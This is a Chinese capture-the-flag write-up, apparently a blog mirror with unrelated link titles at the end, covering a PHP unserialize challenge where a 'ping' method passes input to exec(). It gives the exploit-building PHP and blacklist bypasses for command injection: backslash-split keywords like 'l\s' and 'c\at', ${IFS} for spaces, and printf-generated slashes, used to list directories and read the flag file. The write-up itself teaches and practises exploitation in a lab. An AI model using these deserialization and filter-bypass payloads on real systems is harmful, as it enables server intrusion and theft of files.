当前位置: 首页 > news >正文

攻防世界web第二题unseping

在这里插入图片描述
这是题目

<?php
highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result);var_dump($result);}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}   
}$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

代码分析:首先可以看到一个疑似重点函数

1. function ping($ip){exec($ip, $result); // exec 执行 $ip 传递来的命令,并将结果写入到 $result 中var_dump($result);  // 展示 $result 的内容}看到exec,可以考虑是命令执行漏洞,大概率是采用绕过加命令执行获取flag
2. // __destruct() 当对象销毁时触发function __destruct(){// 如果 $this->method 为 ping 则会进入函数调用if (in_array($this->method, array("ping"))) {// call_user_func_array => 调用回调函数,并把 $this->args 数组传递过去作为参数call_user_func_array(array($this, $this->method), $this->args);}}查询文档可知call_user_func_array是一个回调函数,该函数第一个接收的是回调函数,第二个接收的是参数数组。

到这里,我们可以看出基本明确了:需要实例化一个ease对象,其
m e t h o d 参数应该是“ p i n g ” , 因为只有 method参数应该是“ping”,因为只有 method参数应该是ping,因为只有this->method 为 ping ,才会调用回调函数,回调函数的第一个变量就是ping函数,第二个参数就是我们构造的要执行的命令。
小结一下:
1.实例化ease对象,method参数是ping;
2.构造命令参数,使其回调ping函数时,执行我们构造的命令;

下面就要思考我们要获取flag需要怎样构造命令了,首先,常规思路肯定是先获取当前目录下的文件列表,所以我们先要构造一个“ls”命令。
所以我们需要实例化对象:

 $ctf = new ease('ping', array('ls'));

汇总

 <?phpclass ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) { // 如果 $this->method 为 ping 则进行调用call_user_func_array(array($this, $this->method), $this->args); // 调用回调函数 $this->args 是传参// $this 即 ease 这个对象, $this->method 你想要调用的 ease 类中的函数名 => ping}} function ping($ip){exec($ip, $result); // 让 exec 执行我们传入的命令,并将结果传入 $result 中var_dump($result);  // 展示结果 => 考点,命令执行}function waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){ // 执行 unserialize 调用此方法foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}   }$ctf = new ease('ping', array('ls'));echo base64_encode(serialize($ctf)); // 运行代码,这里会显示序列化解echo "\n";// $ctf=@$_POST['ctf'];// @unserialize(base64_decode($ctf));?>

执行代码,得到输出
在这里插入图片描述
这里输出的结果是ease对象序列化后的内容,
**这时注意:**我们执行代码首先会进入 __wakeup() 函数,该函数会调用 waf() 方法,将我们传递的 array() 数组中的每一个元素都过一遍 WAF,如果出现黑名单字符,就会输出 don’t hack,反之则会返回。
我们将要执行的 ls 很明显时会被过滤的,所以要绕过。
我们构造的是ls命令,目的是获取flag所在的位置,ls的绕过方式可以用“l\s”
所以将 $ctf = new ease(‘ping’, array(‘ls’))修改为 $ctf = new ease(‘ping’, array(‘l\s’));再执行
在这里插入图片描述
得到这样一个结果:
我们实例化了一个对象,构造了ls命令,所以输出结果应该是包含了flag所在位置的一个序列化ease对象。
把这个对象post到后台:
在这里插入图片描述
得到“flag is here”也就是flag的位置,

知道了 Flag 存放的文件夹,下面我们要去读取这个文件夹下面的内容,使用 l\s flag_1s_here 构建序列化内容读取?你会发现,上面那个命令中空格与 flag 都是黑名单内容,这里又考察了命令执行的空格绕过。在 Linux 系统中,我们可以使用 ${IFS}进行空格的绕过:
所以需要构造ls flag 1s here 来查看flag:
构造如下

 $ctf = new ease('ping', array('l\s${IFS}f\lag_1s_here'));echo base64_encode(serialize($ctf));

执行
得到序列化对象
在这里插入图片描述
post提交得到
在这里插入图片描述
至此,我们已经成功获得 Flag 的文件地址: flag_1s_here/flag_831b69012c67b35f.php

最后一次,构造读取该文件的命令如下:

 $ctf = new ease('ping', array('c\at${IFS}f\lag_1s_here$(printf${IFS}"\57")f\lag_831b69012c67b35f.p\hp'));echo base64_encode(serialize($ctf));

执行得到flag内容的序列化对象:
在这里插入图片描述
最后post提交,得到flag:
在这里插入图片描述
总结:1.要能读懂代码
2.要知道如何构造命令
3.要会post提交序列化对象到后台

4.执行代码可以在线运行,也可以用VScode
5.post提交数据我用的是hackbar

知识点汇总:
1. function __construct($method, $args) { $this->method = $method; $this->args = $args; }
构造函数:当创建对象时自动调用。

2.function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); }
析构函数:当对象销毁时自动调用
3.
exec($ip, $result);
exec()函数是用于执行系统命令的内置函数。它允许你在PHP脚本中执行命令行操作系统命令,并返回命令执行的结果。

function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}   
}

__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数。

5.call_user_func_array(array($this, $this->method), $this->args);
php中的call_user_func_array用来调用回调函数,并且传递一个数组型的参数给这个回调函数,返回值是回调函数的返回值,如果出现错误则返回false。

6.整体流程:创建 ease对象,触发构造函数,脚本执行完毕,触发析构函数,回调ping函数,得到包含执行了对应命令结果的序列化对象,post上传,后台反序列化,调用wake_up函数,过滤命令


http://www.mrgr.cn/news/81529.html

相关文章:

  • max的skin为啥封套不起作用答案
  • <数据集>芝麻作物和杂草识别数据集<目标检测>
  • 解决error Error: certificate has expired问题
  • linux-----网络编程
  • 近实时”(NRT)搜索、倒排索引
  • 渐开线齿轮和摆线齿轮有什么区别?
  • C++模板:编译时模拟Duck Typing
  • LLaMA-Factory GLM4-9B-CHAT LoRA 指令微调实战
  • 【Java 学习】深度剖析Java多态:从向上转型到向下转型,解锁动态绑定的奥秘,让代码更优雅灵活
  • 【stm32can】
  • CSharp: Oracle Stored Procedure query table
  • 重温设计模式--10、单例模式
  • STM32项目之环境空气质量检测系统软件设计
  • 【Git】-- 版本说明
  • DX12 快速教程(2) —— 渲染天蓝色窗口
  • 笔记本通过HDMI转VGA线连接戴尔显示器,wifi不可用或网速变慢
  • 大数据实验二
  • 鸿蒙之路的坑
  • soular使用教程
  • KylinOS V10 SP3下编译openGauss与dolphin插件
  • 操作系统导论读书笔记
  • 水库大坝三维模型的开发和使用3Dmax篇
  • 基于STM32F103控制L298N驱动两相四线步进电机
  • 数据库管理-第275期 Oracle 23ai:画了两张架构图(20241225)
  • idea配置gitee仓库
  • Flink调优----资源配置调优与状态及Checkpoint调优